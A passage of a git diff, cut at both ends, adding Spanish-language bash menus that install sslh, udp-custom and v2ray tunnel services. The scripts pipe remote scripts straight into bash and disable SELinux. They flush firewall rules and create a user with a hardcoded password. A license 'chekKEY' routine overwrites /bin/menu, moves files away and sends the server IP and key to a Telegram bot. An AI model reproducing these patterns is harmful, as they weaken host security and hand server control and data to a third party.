awk -F ":" '{print $2}') +[[ "$(echo -e $nodet|grep "$test1 $test2")" ]] || nodet+="$test1 $test2\n" +done <<< "$t_node" +i=1 +echo -e "$nodet" +} +#REGLAS SSLH +reglas_sslh () { +[[ -e "/etc/stunnel/stunnel.conf" ]] && ptssl="$(netstat -nplt | grep 'stunnel' | awk {'print $4'} | cut -d: -f2 | xargs)" || ptssl='444' +[[ -e "/etc/openvpn/server.conf" ]] && ptvpn="$(netstat -nplt | grep 'openvpn' | awk {'print $4'} | cut -d: -f2 | xargs)" || ptvpn='460' +[[ -e "/etc/default/dropbear" ]] && ptfrop="$(netstat -nplt | grep 'dropbear' | awk {'print $4'} | cut -d: -f2 | xargs)" || ptfrop='143' +DEBIAN_FRONTEND=noninteractive apt-get -y install sslh 1> /dev/null 2> /dev/null +echo -e " Ingresa Un puerto Libre, Para activar SSLH\n" +read -p " Ingresa Puerto SSLH : " psshl +echo -e "#Modo autónomo\n\nRUN=yes\n\nDAEMON=/usr/sbin/sslh\n\nDAEMON_OPTS='--user sslh --listen 0.0.0.0:$psshl --ssh 127.0.0.1:22 --ssl 127.0.0.1:$ptssl --http 127.0.0.1:$ptfrop --openvpn 127.0.0.1:$ptvpn --pidfile /var/run/sslh/sslh.pid'" > /etc/default/sslh +## echo -e "#Modo autónomo\n\nRUN=yes\n\nDAEMON=/usr/sbin/sslh\n\nDAEMON_OPTS='--user sslh --listen 0.0.0.0:3128 --ssh 0.0.0.0:22 --ssl 0.0.0.0:$ptssl --http 0.0.0.0:80 --openvpn 127.0.0.1:$ptvpn --pidfile /var/run/sslh/sslh.pid'" >/etc/default/sslh +/etc/init.d/sslh start && service sslh start +} +msg(){ + echo -e "$bar1" + echo -e "${blanco}#######################################################${cierre}" + echo -e "${blanco}# ❗️ Protocolos reconocidos ${azul}ssl, https, openvpn, ${blanco}# ${cierre}" + echo -e "${blanco}# ❗️ ${azul}Openconnect, http, sslh; ssh,${cierre} ${blanco}si su servicio es ${blanco}# ${cierre}" + echo -e "${blanco}# ❗️ Diferente porfavor en nombre establezca ${guinda}anyprot ${blanco}# ${cierre}" + echo -e "${blanco}# ----------------------------------------------- #${cierre}" + echo -e "${blanco}# ${amarillo} SCRIPT Modo Beta, Creditos a @drowkid01 ${blanco}#${cierre}" + echo -e "${blanco}# ${melon}----------------------------------------------- ${blanco}#${cierre}" + echo -e "${blanco}# dev: ${verde}@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ${blanco}#${cierre}" + echo -e "${blanco}#######################################################${cierre}" + echo -e "$bar1" + echo "" +} +capturar_servicio(){ + echo -e "${azul}Escriba el nombre de servicio que de desea agregar${cierre}" + echo -e "$bar2" + read -p "$(echo -e "${amarillo}ingrese: ${cierre}")" -e -i anyprot service +} +capturar_puerto(){ + echo -e "$bar2" + echo -e "${blanco}Escriba el numero de PUERTO${cierre}" + echo -e "$bar1" + read -p "$(echo -e "${amarillo}ingrese: ${cierre}")" puerto_i + if [[ $(t_port| grep "$puerto_i") ]]; then + echo + else + echo -e "$bar1" + echo -e "${guinda}⚠️ EL Puerto ${blanco} ${puerto_i} ${guinda}No existe ${cierre}" + echo -e "${guinda}⚠️ Utilice puertos existentes ${cierre}" + echo -e "$bar1" + capturar_puerto + fi + if [ -f $dir_puertos/$puerto_i ]; then + echo -e "$bar2" + echo -e "${guinda}⚠️ EL Puerto ${blanco} ${puerto_i} ${guinda}Ya se encuentra en USO ${cierre}" + echo -e "${guinda}⚠️ Intente con otro puerto ${cierre}" + capturar_puerto + else + echo -e "$bar2" + echo -e "${blanco}REGISTRO EXITOSO !! ${cierre}" + echo -e "$bar2" + fi + touch $dir_puertos/$puerto_i +} +instalar_sslh(){ + dir_base + reglas_sslh + if [ $? -eq 0 ]; then + echo -e "$bar2" + echo -e "${blanco}INICIO EXITOSO!! , ACTUALMETE ESTA HABILITADO EL SERVICIO OPENSSH ${cierre}" + echo -e "${blanco}AGREGUE MAS SERVICIO EN EL MENU ${melon}SSLH - MULTIPLEXOR ${cierre}" + service sslh start + echo -e "$bar2" + else + echo -e "$bar2" + echo -e "${rojo}⚠️ ERROR INESPERADO, POR FAVOR REVISE SUS SERVICIOS${cierre}" + echo -e "${rojo}⚠️ Y VUELVA A INTERNTARLO ${cierre}" + echo -e "$bar2" + service sslh start + fi + back_menu +} +agregar_servicos(){ + echo -e "$bar1" + capturar_servicio + capturar_puerto + sed -i "s;anyprot;${service};g" $dir_conf + sed -i "s;000;$puerto_i $plantilla_service;g" $dir_conf + if [ $? -eq 0 ]; then + echo -e "${blanco}SERVICIO ${verde}${service_f}${cierre} ${blanco}AGREGADO CON EXITO ${cierre}" + echo -e "${blanco}AGREGUE MAS SERVICIO EN EL MENU ${melon}SSLH - MULTIPLEXOR ${cierre}" + service sslh start + else + echo -e "${rojo}⚠️ ERROR INESPERADO, POR FAVOR REVISE SUS SERVICIOS${cierre}" + echo -e "${rojo}⚠️ Y VUELVA A INTERNTARLO ${cierre}" + fi + echo -e "${blanco}${service} ${guinda}${puerto_i}${cierre}" >> $dir_info + echo -e "${puerto_i}" >> $dir_ports + service sslh restart + back_menu + } +eliminar_servicio(){ + unset service + unset puerto_i + echo -e "$bar1" + cat $dir_info | awk -v OFS='\t\t' '{print $1,$2}' + echo -e "$bar1" + echo -e "${azul}Escriba el nombre de servicio que de desea Eliminar${cierre}" + echo -e "$bar2" + read -p "$(echo -e "${amarillo}ingrese: ${cierre}")" -e -i anyprot service + echo -e "${azul}Escriba el numero de puerto que de desea Eliminar${cierre}" + echo -e "$bar2" + read -p "$(echo -e "${amarillo}ingrese: ${cierre}")" puerto_i + rm_service="--$service 127.0.0.1:$puerto_i" + sed -i "s;$rm_service;proto;g" $dir_conf + sed -i 's/proto//g' $dir_conf + grep -Ev "$puerto_i" $dir_info > temp + mv -f temp $dir_info + service sslh restart + rm -rf temp + rm -rf $dir_puertos/$puerto_i + back_menu +} +informacion_puertos(){ + echo -e "${verde}SERVICIO ${blanco}/ ${verde}PUERTO${cierre}" + echo -e "$bar1" + cat $dir_info | awk -v OFS='\t\t' '{print $1,$2}' + echo -e "$bar1" + back_menu +} +desinstalar(){ + service sslh stop + rm -rf $dir_info + rm -rf $dir_ports + rm -rf $dir_conf + rm -rf $dir_base + rm -rf $dir_service + rm -rf $arch_serv + rm -rf $dir_puertos + apt purge sslh -y +} +sslh_onoff=`if netstat -tunlp |grep sslh 1> /dev/null 2> /dev/null; then +echo -e "\033[1;32m🟢" +else +echo -e "\033[1;31m🔴" +fi` +total_p=$(cat $dir_info) +menu_sslh(){ + clear + msg +echo -e "${melon} SSLH - MULTIPLEXOR +${bar1} +${morado}ESTADO DE SERVICIO: ${blanco}>${cierre} ${guinda}SSLH: $sslh_onoff ${cierre} +${bar2} +${azul}[1]${cierre} ${rojo}>${cierre} ${amarillo}INSTALAR ${verde}SSLH${cierre} +${azul}[2]${cierre} ${rojo}>${cierre} ${amarillo}AGREGAR SERVICIOS${cierre} +${azul}[3]${cierre} ${rojo}>${cierre} ${amarillo}ELIMINAR ${guinda}SERVICIOS${cierre} +${azul}[4]${cierre} ${rojo}>${cierre} ${amarillo}INFORMACION DE PUERTOS${cierre} +${azul}[5]${cierre} ${rojo}>${cierre} ${guinda}DESINSTALAR SSLH${cierre} +${azul}[0]${cierre} ${rojo}>${cierre} ${blanco}SALIR${cierre} +${bar2}" +read -p "$(echo -e "${blanco}seleccione [0-5]:${cierre}")" selection +case "$selection" in + 1)instalar_sslh ;; + 2)agregar_servicos ;; + 3)eliminar_servicio ;; + 4)informacion_puertos ;; + 5)desinstalar ;; + 0)cd $HOME && menu;; + *) + echo -e "${rojo} Porfavor seleccione del [0-5]${cierre}" + ;; +esac +} +menu_sslh \ No newline at end of file diff --git a/Recursos/test/udp-custom.sh b/Recursos/test/udp-custom.sh new file mode 100644 index 0000000..61471b2 --- /dev/null +++ b/Recursos/test/udp-custom.sh @@ -0,0 +1,357 @@ +#!/bin/bash +clear +#[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg > /dev/null || source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) > /dev/null +source msg +dir_user="/etc/adm-lite/userDIR" +pausa(){ +echo -ne "\033[1;37m" +read -p " Presiona Enter para Continuar " +} + + info() { + puerto=$1 + + msg -bar + echo + msg -ama " INSTALADOR UDPserver | @drowkid01•Plus" + echo + msg -bar + msg -ama " SOURCE OFICIAL DE Epro Dev Team" + echo -e " https://t.me/ePro_Dev_Team" + msg -bar + msg -ama " CODIGO REFACTORIZADO POR @drowkid01" + [[ -z ${puerto} ]] || add.user ${puerto} + pausa + clear + } + + +cd +[[ ! -d /etc/ADMcgh ]] && mkdir -p /etc/ADMcgh + +# change to time GMT+7 +#ln -fs /usr/share/zoneinfo/Asia/Jakarta /etc/localtime + +# install udp-custom +#echo downloading udp-custom +#wget -q --show-progress --load-cookies /tmp/cookies.txt https://www.dropbox.com/s/muzdqkid5ganb7c/udp-custom-linux-amd64?dl=0 -O /bin/UDP-Custom && rm -rf /tmp/cookies.txt +#chmod +x /bin/UDP-Custom + +#echo downloading default config +#wget -q --show-progress --load-cookies /tmp/cookies.txt https://www.dropbox.com/s/pccfmw4h830wbn4/config.json?dl=0 -O /etc/ADMcgh/config.json && rm -rf /tmp/cookies.txt +#chmod 644 /etc/ADMcgh/config.json + + +#echo reboot + +echo -e " BY " + +echo -e " Power by ®𝙲𝙶𝙷¬𝙱𝙾𝚃" + +#reboot + + +selection_fun () { +local selection="null" +local range +for((i=0; i<=$1; i++)); do range[$i]="$i "; done +while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do +echo -ne "\033[1;37m ► Opcion: " >&2 +read selection +tput cuu1 >&2 && tput dl1 >&2 +done +echo $selection +} + +make_service(){ +if [ -z "$1" ]; then +cat < /etc/systemd/system/udp-custom.service +[Unit] +Description=udp-custom by ePro Dev. Team + +[Service] +User=root +Type=simple +ExecStart=/bin/UDP-Custom server --config /etc/ADMcgh/config.json +WorkingDirectory=/etc/ADMcgh/ +Restart=always +RestartSec=2s + +[Install] +WantedBy=default.target +EOF +else +cat < /etc/systemd/system/udp-custom.service +[Unit] +Description=udp-custom by ePro Dev. Team + +[Service] +User=root +Type=simple +ExecStart=/bin/UDP-Custom server -exclude $1 --config /etc/ADMcgh/config.json +WorkingDirectory=/etc/ADMcgh/ +Restart=always +RestartSec=2s + +[Install] +WantedBy=default.target +EOF +fi + +#echo start service udp-custom +systemctl start udp-custom &>/dev/null + +#echo enable service udp-custom + + msg -nama ' Habilitando servicio UDPserver ------' + if systemctl enable udp-custom &>/dev/null &>/dev/null ; then + msg -verd 'OK' + #_mssBOT "ACTIVADO!!" + else + msg -verm2 'fail' + #_mssBOT " FALLIDO!!" + fi + + msg -nama ' Iniciando servicio UDPserver -------' + if systemctl start udp-custom &>/dev/null &>/dev/null &>/dev/null ; then + msg -verd 'OK' + #_mssBOT "ACTIVADO!!" + else + msg -verm2 'fail' + #_mssBOT " FALLIDO!!" + fi +msg -bar + while true; do + msg -nama ' Digita un Puerto para el Servicio de\n' + msg -nama ' Prederteminado ( ENTER )\n' + read -p " UDP-Custom: " udpPORT + tput cuu1 >&2 && tput dl1 >&2 + checkPORT=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $udpPORT` + [[ -n "$checkPORT" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$udpPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done + tput cuu1 >&2 && tput dl1 >&2 + tput cuu1 >&2 && tput dl1 >&2 + tput cuu1 >&2 && tput dl1 >&2 +[[ -z ${udpPORT} ]] && udpPORT='36712' + msg -nama ' Iniciando servicio UDPserver -------' +if sed -i "s/36712/${udpPORT}/" /etc/ADMcgh/config.json ; then + msg -verd 'OK' + else + msg -verm2 'fail' +fi +reset_slow +port=$(lsof -V -i UDP -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep -E 'UDP-Custom'| cut -d ":" -f2) +tput cuu1 >&2 && tput dl1 >&2 +tput cuu1 >&2 && tput dl1 >&2 +tput cuu1 >&2 && tput dl1 >&2 +tput cuu1 >&2 && tput dl1 >&2 +tput cuu1 >&2 && tput dl1 >&2 +add.user ${port} + #iptables -t nat -F &>/dev/null + #iptables -t mangle -F &>/dev/null + #iptables -X &>/dev/null + #iptables -P INPUT ACCEPT &>/dev/null + #iptables -P FORWARD ACCEPT &>/dev/null + #iptables -P OUTPUT ACCEPT &>/dev/null +pausa +} + + + +download_udpServer(){ + msg -nama ' Descargando binario UDPserver V 1.2 ----' +[[ $(uname -m 2> /dev/null) != x86_64 ]] && { + if wget -O /bin/UDP-Custom 'https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/binarios/UDP/udp-arm64.bin' &>/dev/null ; then + chmod +x /bin/UDP-Custom + msg -verd ' ARM64 - OK' + else + msg -verm2 'fail' + rm -rf /bin/UDP-Custom* + fi +} || { + if wget -O /bin/UDP-Custom 'https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/binarios/UDP/udp-amd64.bin' &>/dev/null ; then + chmod +x /bin/UDP-Custom + msg -verd ' X64 OK' + else + msg -verm2 'fail' + rm -rf /bin/UDP-Custom* +fi +} + msg -nama ' Descargando Config UDPserver -------' + if wget -O /etc/ADMcgh/config.json 'https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/binarios/UDP/config.json' &>/dev/null ; then + chmod 644 /etc/ADMcgh/config.json + msg -verd 'OK' + else + msg -verm2 'fail' + rm -f /etc/ADMcgh/config.json* + fi +#chekKEY &> /dev/null 2>&1 +make_service +} + +function chekKEY { +[[ -z ${IP} ]] && IP=$(mip) +Key="$(cat /etc/cghkey)" +IiP="$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" +[[ -e /file ]] && _double=$(cat < /file) || { +wget -q -O /file https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT +_double=$(cat < /file) +} +_check2="$(echo -e "$_double" | grep ${IiP})" +[[ ! -e /etc/folteto ]] && { +wget --no-check-certificate -O /etc/folteto $IiP:81/ChumoGH/checkIP.log +cheklist="$(cat /etc/folteto)" +echo -e "$(echo -e "$cheklist" | grep ${IP})" > /etc/folteto +} +[[ -z ${_check2} ]] && { +[[ ! -d /bin/ejecutar/Ubam ]] && mkdir /bin/ejecutar/Ubam +mss_='\n BotGEN NO AUTORIZADO POR @drowkid01 ' +echo 'clear&&clear +echo -e "\n\n\n \033[0;31m================================================== + ¡ 🚫 KEY BANEADA 🚫 ! CONTACTE Su ADMINISTRADOR + ================================================== \n\n ${mss_} \n\n + SI CONSIDERA QUE FUE UN ERROR, TECLEA ** cgh ** + " +' > /bin/menu +rm -f /etc/folteto +rm -f /etc/adm-lite/menu + MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" IP Clon: ${IP} Rechazada\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${lLaM} INSECTO DETECTADO EN UDPCustom ${lLaM}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" KEY : ${Key}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${rUlq} Bot generador de key ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @drowkid01 ${pUn5A} \n" + MENSAJE+=" ---------------------------------------------\n" + curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +exit && exit +} +} + + + + reset_slow(){ + msg -bar + msg -ama " Reiniciando UDPserver...." + #screen -ls | grep udp-custom | cut -d. -f1 | awk '{print $1}' | xargs kill + if systemctl restart udp-custom &>/dev/null ;then + msg -verd " Con exito!!!" + msg -bar + else + msg -verm " Con fallo!!!" + msg -bar + fi + pausa + } + + stop_slow(){ + clear + msg -bar + msg -ama " Deteniendo UDPserver...." + if systemctl stop udp-custom ; then + msg -verd " Con exito!!!" msg -bar + else + msg -verm " Con fallo!!!" msg -bar + fi + pausa + } + + remove() { + stop_slow + systemctl disable udp-custom + rm -f /etc/systemd/system/udp-custom.service + rm -f /bin/UDP-Custom* + rm -f /etc/ADMcgh/config* + rm -rf /root/udp + iptables -t nat -F &>/dev/null + iptables -t mangle -F &>/dev/null + iptables -X &>/dev/null + iptables -P INPUT ACCEPT &>/dev/null + iptables -P FORWARD ACCEPT &>/dev/null + iptables -P OUTPUT ACCEPT &>/dev/null + #_mssBOT "REMOVIDO!!" + } + + add.user () { + port=$1 + user='ADMcgh' + clave='adm' + #$(cat /etc/ADMcgh/config.json | grep user | cut -d '"' -f4) + #user=$(cat /etc/ADMcgh/config.json | jq .user) + #clave=$(cat /etc/ADMcgh/config.json | jq .auth.pass[]) +valid=$(date '+%C%y-%m-%d' -d " +2 days") +if useradd -M -s /bin/false $user -e $valid ; then +(echo $clave; echo $clave)|passwd $user >/dev/null 2>&1 & +echo "senha: $clave" > $dir_user/$user +echo "limite: 2" >> $dir_user/$user +echo "data: $valid" >> $dir_user/$user +msg -verd " USER : ADMcgh | DEMOSTRACION AGREGADO!!!" +else +echo -e "${cor[5]} ⚠️ Usuario DEMO ya Existe ⚠️" +msg -verm " USER : ADMcgh | No Agregado!!!" +fi + msg -bar + echo + msg -bar + echo -e " ESTO ES UNA GUIA DEL FORMATO DEL USUARIO" + echo -e " VE AL MENU DE USUARIOS Y CREA UNO" + msg -bar + echo + echo -e "【 CONFIG >${cor[4]} $(wget -qO- ifconfig.me)${cor[2]}:${cor[5]}1-65535${cor[2]}@${cor[4]}$user${cor[2]}:${cor[4]}${clave} 】" | pv -qL 80 + echo + msg -bar + msg -ama " RECUERDA CREAR TUS USUARIOS SSH NORMAL" + msg -bar + } + + edit_json() { + msg -bar + msg -ama " PARA EDITAR EL USUARIO EDITA" + msg -ama " /etc/ADMcgh/config.json" + msg -bar +echo -e "\033[1;37m Para Salir Ctrl + C o 0 Para Regresar\033[1;33m" +echo -e " \033[1;31m[ !!! ]\033[1;33m EDITA LAS CREDENCIALES \033[1;31m\033[1;33m" +msg -bar +echo -e " \033[1;31mLuego de Editar.. Presiona Ctrl + O y Enter \033[1;33m \033[1;31m\033[1;33m" +echo -e " \033[1;31m Por Ultimo Ctrl + X \033[1;33m \033[1;31m\033[1;33m" +pausa +nano /etc/ADMcgh/config.json +reset_slow + } + +while : +do +unset port + tittle + msg -ama " BINARIO OFICIAL DE Epro Dev Team 1.2" + msg -bar + [[ $(ps x | grep UDP-Custom| grep -v grep) ]] && { + _pid="\033[1;32m[ ON ]" + port=$(lsof -V -i UDP -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep -E 'UDP-Custo'| cut -d ":" -f2) + msg -ama " PUERTO EN EJECUCION DE UDPserver : ${port}" + msg -bar + } || _pid="\033[1;31m[ OFF ]" + msg -ama " INSTALADOR UDPserver | @drowkid01•Plus" + msg -bar + menu_func "Instalar UDPserver $_pid" "$(msg -ama "Reiniciar UDPserver")" "$(msg -verm2 "Detener UDPserver")" "$(msg -verm2 "Remover UDPserver")" "$(msg -ama "Info de Proyecto")" + msg -bar + echo -ne "$(msg -verd " [0]") $(msg -verm2 "=>>") " && msg -bra "\033[1;41m Volver " + msg -bar + opcion=$(selection_fun 5) + case $opcion in + 1)download_udpServer;; + #2)edit_json;; + 2)reset_slow;; + 3)stop_slow;; + 4)remove;; + 5)info ${port};; + 0)exit;; + esac +done diff --git a/Recursos/test/v2ray.sh b/Recursos/test/v2ray.sh new file mode 100644 index 0000000..52c02a6 --- /dev/null +++ b/Recursos/test/v2ray.sh @@ -0,0 +1,376 @@ +#!/bin/bash +# Author: Jrohy +# github: https://github.com/Jrohy/multi-v2ray + +ofus () { +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".") txt[$i]="x";; +"x") txt[$i]=".";; +"5") txt[$i]="s";; +"s") txt[$i]="5";; +"1") txt[$i]="@";; +"@") txt[$i]="1";; +"2") txt[$i]="?";; +"?") txt[$i]="2";; +"4") txt[$i]="0";; +"0") txt[$i]="4";; +"/") txt[$i]="K";; +"K") txt[$i]="/";; +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} + + + +function chekKEY { +[[ -z ${IP} ]] && IP=$(mip) +Key="$(cat /etc/cghkey)" +_Key='/etc/cghkey' +[[ -e /file ]] && _double=$(cat < /file) || { +wget -q -O /file https://www.dropbox.com/s/5hr0wv1imo35j1e/Control-BOT +_double=$(curl -sSL "https://www.dropbox.com/s/5hr0wv1imo35j1e/Control-BOT") +echo -e "$(echo -e "$_double" | grep ${IiP})" > /file +} +_check2="$(echo -e "$_double" | grep ${IiP})" +[[ ! -e /etc/folteto ]] && { +wget --no-check-certificate -O /etc/folteto $IiP:81/ChumoGH/checkIP.log +cheklist="$(cat /etc/folteto)" +echo -e "$(echo -e "$cheklist" | grep ${IP})" > /etc/folteto +} +[[ -z ${_check2} ]] && { +[[ ! -d /bin/ejecutar/Ubam ]] && mkdir /bin/ejecutar/Ubam +mss_='\n BotGEN NO AUTORIZADO POR @drowkid01 ' +echo 'clear&&clear +echo -e "\n\n\n \033[0;31m================================================== + ¡ 🚫 KEY BANEADA 🚫 ! CONTACTE Su ADMINISTRADOR + ================================================== \n\n ${mss_} \n\n + SI CONSIDERA QUE FUE UN ERROR, TECLEA ** cgh ** + " +' > /bin/menu +rm -f /etc/folteto +mv etc/adm-lite/* /bin/ejecutar/Ubam + MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" IP Clon: ${IP} Rechazada\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${lLaM} INSECTO DETECTADO EN INSTALL V2RAY ${lLaM}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${rUlq} Bot generador de key ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @drowkid01 ${pUn5A} \n" + MENSAJE+=" ---------------------------------------------\n" + curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +exit && exit +} +} + + + +apt install jq -y +BEIJING_UPDATE_TIME=3 +BEGIN_PATH=$(pwd) +INSTALL_WAY=0 +HELP=0 +REMOVE=0 +CHINESE=0 +BASE_SOURCE_PATH="https://multi.netlify.app" +UTIL_PATH="/etc/v2ray_util/util.cfg" +UTIL_CFG="$BASE_SOURCE_PATH/v2ray_util/util_core/util.cfg" +BASH_COMPLETION_SHELL="$BASE_SOURCE_PATH/v2ray" +CLEAN_IPTABLES_SHELL="$BASE_SOURCE_PATH/v2ray_util/global_setting/clean_iptables.sh" +#Centos 临时取消别名 +[[ -f /etc/redhat-release && -z $(echo $SHELL|grep zsh) ]] && unalias -a +[[ -z $(echo $SHELL|grep zsh) ]] && ENV_FILE=".bashrc" || ENV_FILE=".zshrc" +#######color code######## +RED="31m" +GREEN="32m" +YELLOW="33m" +BLUE="36m" +FUCHSIA="35m" + +colorEcho(){ + COLOR=$1 + echo -e "\033[${COLOR}${@:2}\033[0m" +} + +#######get params######### +while [[ $# > 0 ]];do + key="$1" + case $key in + --remove) + REMOVE=1 + ;; + -h|--help) + HELP=1 + ;; + -k|--keep) + INSTALL_WAY=1 + colorEcho ${BLUE} "keep config to update\n" + ;; + --zh) + CHINESE=0 + colorEcho ${BLUE} "VERSION CHINA..\n" + ;; + *) + # unknown option + ;; + esac + shift # past argument or value +done +############################# + +help(){ + echo "bash v2ray.sh [-h|--help] [-k|--keep] [--remove]" + echo " -h, --help Show help" + echo " -k, --keep keep the config.json to update" + echo " --remove remove v2ray,xray && multi-v2ray" + echo " no params to new install" + return 0 +} + +removeV2Ray() { + #卸载V2ray脚本 + bash <(curl -L -s https://multi.netlify.app/go.sh) --remove >/dev/null 2>&1 + rm -rf /etc/v2ray >/dev/null 2>&1 + rm -rf /var/log/v2ray >/dev/null 2>&1 + + #卸载Xray脚本 + bash <(curl -L -s https://multi.netlify.app/go.sh) --remove -x >/dev/null 2>&1 + rm -rf /etc/xray >/dev/null 2>&1 + rm -rf /var/log/xray >/dev/null 2>&1 + + #清理v2ray相关iptable规则 + bash <(curl -L -s $CLEAN_IPTABLES_SHELL) + + #卸载multi-v2ray + pip uninstall v2ray_util -y + rm -rf /usr/share/bash-completion/completions/v2ray.bash >/dev/null 2>&1 + rm -rf /usr/share/bash-completion/completions/v2ray >/dev/null 2>&1 + rm -rf /usr/share/bash-completion/completions/xray >/dev/null 2>&1 + rm -rf /etc/bash_completion.d/v2ray.bash >/dev/null 2>&1 + rm -rf /usr/local/bin/v2ray >/dev/null 2>&1 + rm -rf /etc/v2ray_util >/dev/null 2>&1 + rm -rf /etc/profile.d/iptables.sh >/dev/null 2>&1 + rm -rf /root/.iptables >/dev/null 2>&1 + + #删除v2ray定时更新任务 + crontab -l|sed '/SHELL=/d;/v2ray/d'|sed '/SHELL=/d;/xray/d' > crontab.txt + crontab crontab.txt >/dev/null 2>&1 + rm -f crontab.txt >/dev/null 2>&1 + + if [[ ${PACKAGE_MANAGER} == 'dnf' || ${PACKAGE_MANAGER} == 'yum' ]];then + systemctl restart crond >/dev/null 2>&1 + else + systemctl restart cron >/dev/null 2>&1 + fi + + #删除multi-v2ray环境变量 + sed -i '/v2ray/d' ~/$ENV_FILE + sed -i '/xray/d' ~/$ENV_FILE + source ~/$ENV_FILE + + RC_SERVICE=`systemctl status rc-local|grep loaded|egrep -o "[A-Za-z/]+/rc-local.service"` + + RC_FILE=`cat $RC_SERVICE|grep ExecStart|awk '{print $1}'|cut -d = -f2` + + sed -i '/iptables/d' ~/$RC_FILE + + colorEcho ${GREEN} "uninstall success!" +} + +closeSELinux() { + #禁用SELinux + if [ -s /etc/selinux/config ] && grep 'SELINUX=enforcing' /etc/selinux/config; then + sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config + setenforce 0 + fi +} + +checkSys() { + #检查是否为Root + [ $(id -u) != "0" ] && { colorEcho ${RED} "Error: Porfavor ejecute este SCRIP como root"; exit 1; } + + if [[ `command -v apt-get` ]];then + PACKAGE_MANAGER='apt-get' + elif [[ `command -v dnf` ]];then + PACKAGE_MANAGER='dnf' + elif [[ `command -v yum` ]];then + PACKAGE_MANAGER='yum' + else + colorEcho $RED "Sistema No Soportado!" + exit 1 + fi +} + +#安装依赖 +installDependent(){ + if [[ ${PACKAGE_MANAGER} == 'dnf' || ${PACKAGE_MANAGER} == 'yum' ]];then + ${PACKAGE_MANAGER} install socat crontabs bash-completion which -y + else + ${PACKAGE_MANAGER} update + ${PACKAGE_MANAGER} install socat cron bash-completion ntpdate gawk -y + fi + + #install python3 & pip + source <(curl -sL https://python3.netlify.app/install.sh) +} + +updateProject() { + [[ ! $(type pip 2>/dev/null) ]] && colorEcho $RED "pip no install!" && exit 1 + + [[ -e /etc/profile.d/iptables.sh ]] && rm -f /etc/profile.d/iptables.sh + + RC_SERVICE=`systemctl status rc-local|grep loaded|egrep -o "[A-Za-z/]+/rc-local.service"` + + RC_FILE=`cat $RC_SERVICE|grep ExecStart|awk '{print $1}'|cut -d = -f2` + + if [[ ! -e $RC_FILE || -z `cat $RC_FILE|grep iptables` ]];then + LOCAL_IP=`curl -s http://api.ipify.org 2>/dev/null` + [[ `echo $LOCAL_IP|grep :` ]] && IPTABLE_WAY="ip6tables" || IPTABLE_WAY="iptables" + if [[ ! -e $RC_FILE || -z `cat $RC_FILE|grep "/bin/bash"` ]];then + echo "#!/bin/bash" >> $RC_FILE + fi + if [[ -z `cat $RC_SERVICE|grep "\[Install\]"` ]];then + cat >> $RC_SERVICE << EOF + +[Install] +WantedBy=multi-user.target +EOF + systemctl daemon-reload + fi + echo "[[ -e /root/.iptables ]] && $IPTABLE_WAY-restore -c < /root/.iptables" >> $RC_FILE + chmod +x $RC_FILE + systemctl restart rc-local + systemctl enable rc-local + + $IPTABLE_WAY-save -c > /root/.iptables + fi + + pip install -U v2ray_util + + if [[ -e $UTIL_PATH ]];then + [[ -z $(cat $UTIL_PATH|grep lang) ]] && echo "lang=en" >> $UTIL_PATH + else + mkdir -p /etc/v2ray_util + curl $UTIL_CFG > $UTIL_PATH + fi + + [[ $CHINESE == 1 ]] && sed -i "s/lang=en/lang=zh/g" $UTIL_PATH + + rm -f /usr/local/bin/v2ray >/dev/null 2>&1 + ln -s $(which v2ray-util) /usr/local/bin/v2ray + rm -f /usr/local/bin/xray >/dev/null 2>&1 + ln -s $(which v2ray-util) /usr/local/bin/xray + + #移除旧的v2ray bash_completion脚本 + [[ -e /etc/bash_completion.d/v2ray.bash ]] && rm -f /etc/bash_completion.d/v2ray.bash + [[ -e /usr/share/bash-completion/completions/v2ray.bash ]] && rm -f /usr/share/bash-completion/completions/v2ray.bash + + #更新v2ray bash_completion脚本 + curl $BASH_COMPLETION_SHELL > /usr/share/bash-completion/completions/v2ray + curl $BASH_COMPLETION_SHELL > /usr/share/bash-completion/completions/xray + if [[ -z $(echo $SHELL|grep zsh) ]];then + source /usr/share/bash-completion/completions/v2ray + source /usr/share/bash-completion/completions/xray + fi + + #安装V2ray主程序 + [[ ${INSTALL_WAY} == 0 ]] && bash <(curl -L -s https://multi.netlify.app/go.sh) --version v4.45.2 +} + +#时间同步 +timeSync() { + if [[ 